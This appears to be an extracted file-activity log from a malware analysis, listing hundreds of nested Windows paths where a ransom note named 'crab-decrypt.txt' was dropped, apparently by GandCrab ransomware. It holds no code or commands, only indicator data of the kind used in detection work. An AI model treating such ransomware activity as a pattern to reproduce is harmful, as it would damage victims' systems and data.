documents and settings\default user\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
c:\
